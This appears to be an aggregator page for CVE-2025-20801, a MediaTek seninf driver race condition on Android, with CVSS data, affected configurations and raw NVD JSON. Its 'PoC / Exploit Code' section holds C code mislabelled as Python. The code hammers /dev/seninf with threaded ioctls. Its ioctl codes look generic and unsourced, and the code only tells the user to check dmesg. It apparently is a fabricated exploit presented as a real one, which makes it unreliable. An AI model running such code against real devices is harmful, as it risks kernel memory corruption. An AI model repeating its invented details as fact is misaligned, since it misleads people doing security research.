Security Vulnerability Report
中文
CVE-2025-20801 CVSS 7.0 HIGH

CVE-2025-20801

Published: 2026-01-06 02:15:44
Last Modified: 2026-03-30 12:16:25

Description

In seninf, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10251210; Issue ID: MSV-4926.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek seninf driver (Linux kernel) - 所有未安装ALPS10251210补丁的版本
受影响芯片包括MTK系列移动处理器(具体型号需参考MediaTek官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-20801 PoC - Race Condition in MediaTek seninf driver // Requires: Local access, System privileges, Root/elevated shell #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #define SENINF_DEVICE "/dev/seninf" #define NUM_THREADS 8 #define ITERATIONS 10000 volatile int thread_ready = 0; volatile int race_triggered = 0; void *race_thread(void *arg) { int fd; int tid = *(int*)arg; // Open seninf device multiple times for (int i = 0; i < ITERATIONS; i++) { fd = open(SENINF_DEVICE, O_RDWR); if (fd < 0) continue; // Trigger concurrent access to shared seninf state // This creates race condition window ioctl(fd, 0x80000001, NULL); // SENINF_IOCTL_RESET // Concurrent read/write operations read(fd, NULL, 0); ioctl(fd, 0x80000002, NULL); // SENINF_IOCTL_CONFIG // Signal other threads to increase race window __sync_synchronize(); thread_ready = 1; close(fd); } return NULL; } int main(int argc, char *argv[]) { pthread_t threads[NUM_THREADS]; int thread_ids[NUM_THREADS]; printf("CVE-2025-20801 PoC - MediaTek seninf Race Condition\n"); printf("Requires: System privileges, local access\n"); // Check privileges if (geteuid() != 0) { printf("[-] Root privileges required!\n"); return 1; } // Create concurrent threads to trigger race condition for (int i = 0; i < NUM_THREADS; i++) { thread_ids[i] = i; if (pthread_create(&threads[i], NULL, race_thread, &thread_ids[i]) != 0) { perror("pthread_create failed"); return 1; } } // Wait for threads and check for crash/privilege escalation for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("[+] Race condition test completed\n"); printf("[!] Check dmesg for kernel oops or memory corruption\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20801", "sourceIdentifier": "[email protected]", "published": "2026-01-06T02:15:44.190", "lastModified": "2026-03-30T12:16:25.333", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In seninf, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10251210; Issue ID: MSV-4926."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-415"}]}, {"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA72CCD1-DEA2-48EB-8781-04CFDD41AAEE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7DE6B2-66D9-4A3E-B15F-D56505559255"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6993:-:*:*:*:*:*:*:*", "matchCriteriaId": "57E92BE0-5E65-4770-8E1A-0E5D07A38164"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8792:-:*:*:*:*:*:*:*", "matchCriteriaId": "336FC69E-E89F-4642-B6B9-8009D9A2BD52"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8796:-:*:*:*:*:*:*:*", "matchCriteriaId": "DE933AD9-3A6F-421B-8AB3-C45F8DEA9548"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8798:-:*:*:*:*:*:*:*", "matchCriteriaId": "637CAAD2-DCC0-4F81-B781-5D0536844CA8"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/January-2026", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}